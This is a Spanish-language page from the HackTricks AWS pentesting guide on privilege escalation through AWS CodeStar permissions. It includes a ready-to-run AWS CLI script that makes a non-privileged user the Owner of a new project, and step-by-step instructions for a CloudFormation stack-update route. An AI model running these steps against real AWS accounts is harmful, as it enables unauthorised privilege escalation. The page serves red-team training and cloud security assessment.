AWS - Codestar Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Codestar

Puedes encontrar más información sobre codestar en:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Con estos permisos puedes abusar de un Rol IAM de codestar para realizar acciones arbitrarias a través de una plantilla de cloudformation. Consulta la siguiente página:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Esta técnica utiliza codestar:CreateProject para crear un proyecto de codestar, y codestar:AssociateTeamMember para hacer que un usuario IAM sea el propietario de un nuevo proyecto de CodeStar, lo que les otorgará una nueva política con algunos permisos adicionales.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Si ya eres miembro del proyecto puedes usar el permiso codestar:UpdateTeamMember para actualizar tu rol a propietario en lugar de codestar:AssociateTeamMember

Impacto Potencial: Escalada de privilegios a la política de codestar generada. Puedes encontrar un ejemplo de esa política en:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Crear un Nuevo Proyecto:

  • Utiliza la acción codestar:CreateProjectFromTemplate para iniciar la creación de un nuevo proyecto.

  • Tras la creación exitosa, se otorga automáticamente acceso a cloudformation:UpdateStack.

  • Este acceso se dirige específicamente a un stack asociado con el rol IAM CodeStarWorker-<nombre genérico del proyecto>-CloudFormation.

  1. Actualizar el Stack Objetivo:

  • Con los permisos de CloudFormation otorgados, procede a actualizar el stack especificado.

  • El nombre del stack generalmente seguirá uno de dos patrones:

  • awscodestar-<nombre genérico del proyecto>-infrastructure

  • awscodestar-<nombre genérico del proyecto>-lambda

  • El nombre exacto depende de la plantilla elegida (haciendo referencia al script de explotación de ejemplo).

  1. Acceso y Permisos:

  • Tras la actualización, obtendrás las capacidades asignadas al rol IAM de CloudFormation vinculado con el stack.

  • Nota: Esto no proporciona inherentemente privilegios de administrador completo. Podría ser necesario contar con recursos mal configurados adicionales dentro del entorno para elevar los privilegios aún más.

Para más información, consulta la investigación original: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Puedes encontrar la explotación en https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impacto Potencial: Escalada de privilegios al rol IAM de cloudformation.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización